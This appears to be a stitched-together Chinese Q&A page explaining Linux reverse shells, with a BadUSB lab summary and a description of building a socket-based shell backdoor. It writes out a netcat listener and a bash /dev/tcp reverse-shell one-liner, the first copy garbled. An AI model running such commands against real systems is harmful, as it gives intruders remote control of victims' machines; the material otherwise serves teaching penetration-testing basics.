【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機會讓遠端的機器執行你注入的代碼,你的代碼怎樣才能為你生成一個可以交互操作的shell呢?
你可以在本地先用nc啟動一個監聽進程【nc -l 埠號】
然後在遠端執行【bash -i /dev/tcp/你本地的IP/埠號 01】即可。
2. linux反彈shell 什麼意思
簡單來說,Shell就是實現用戶命令的介面,通過這個介面我們就能實現對計算機的控制,比如我們常見的ssh就是執行的Shell命令實現對遠程對伺服器的控制。
那反彈Shell是啥呢?其英文名叫做Reverse
Shell,具體干什麼的呢?就是控制端首先監聽某個TCP/UDP埠,然後被控制端向這個埠發起一個請求,同時將自己命令行的輸入輸出轉移到控制端,從而控制端就可以輸入命令來控制被控端了。
比如說,我們有兩台主機A、B,我們最終想實現在A上控制B。那麼如果用正向Shell,其實就是在A上輸入B的連接地址,比如通過ssh連接到
B,連接成功之後,我們就可以在A上通過命令控制B了。
如果用反向Shell,那就是在A上先開啟一個監聽埠,然後讓B去連接A的這個埠,連接成功之後,A這邊就能通過命令控制B了。
反彈shell有什麼用?
還是原來的例子,我們想用A來控制B,如果想用ssh等命令來控制,那得輸入B的sshd地址或者埠對吧?但是在很多情況下,由於防火牆、安全組、區域網、NAT等原因,我們實際上是無法直接連接到B的,比如:
A雖然有公網IP,但B是一個處於內網的機器,A就沒法直接連到B上。
B上開了防火牆或者安全組限制,sshd的服務埠22被封閉了。
B是一台撥號主機,其IP地址經常變動。
假如B被攻擊了,我們想讓B向A匯報自己的狀況,那自然就需要B主動去連接A。
如果是這些情況,我們就可以用反彈Shell用A來控制B了。
3. USB攻擊之BadUSB實現linux和macOS反彈shell
1 BadUSB是什麼
BadUSB是一種通過硬體直接插入目標設備,執行代碼,干擾、控制主機或竊取信息的HID攻擊手段。HID設備即Human Interface Device,如滑鼠、鍵盤等直接與人交互的設備。
2 Teensy簡介
一個看似普通的USB設備為何具備攻擊性?這是因為攻擊者在定製時,會在設備中植入一個名為Teensy的攻擊晶元。Teensy是一個非常小且功能完整的單片機系統,能夠模擬鍵盤、滑鼠等HID設備,當插入設備時,系統會識別為HID設備,利用微處理器、儲存空間和攻擊代碼控制主機。
3 Arino簡介
Arino是一款便捷靈活、上手簡單的開源電子原型平台。它基於開放原始碼simple I/O介面版,具有使用類似Java、C語言的Processing/Wiring開發環境。只需編寫程序代碼,上傳到Arino電路板,即可實現電路板的預期功能。
4 實驗環境
BadUSB硬體和Arino軟體。
5 實驗過程
5.1 燒錄過程
打開Arino程序,選擇工具,埠,選擇BadUSB對應埠。打開工具,選擇開發板"Arino Leonardo",編輯腳本實現反彈shell,燒錄進去。Arino語法簡單,setup函數為安裝時運行的代碼,loop函數為重復執行的代碼,通常寫入setup函數中。
5.2 linux上測試
受害機為ubuntu22.04,進行linux反彈shell演示。
5.3 mac上測試
成功反彈shell。
5.4 注意問題
需考慮輸入法影響輸入,可能導致異常。搜索欄或運行欄中已存在的字元串也可能引發異常。
文獻參考
wiki.arino.cn/?...
blog.csdn.net/qq_418401...
4. Linux如何使用命令生成反彈SHELL
【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機會讓遠端的機器執行你注入的代碼,你的代碼怎樣才能為你生成一個可以交互操作的shell呢?
你可以在本地先用nc啟動一個監聽進程【nc -l 埠號】
然後在遠端執行【bash -i >& /dev/tcp/你本地的IP/埠號 0>&1】即可。
5. linux socket server怎麼退到shell
退到shell?
是要做一個反彈shell後門程序吧
要反彈一個shell的話可以在一個新進程里
通過exce族函數調用一個互動式shell
但是之前要將該進程的標准輸入,標准輸出以及標准出錯全部重定向到socket標識符上
這樣客戶端可以通過發送命令給伺服器
伺服器中shell進程執行後會將輸出通過重定向發送給客戶端
從而完成了一個反彈式shell後門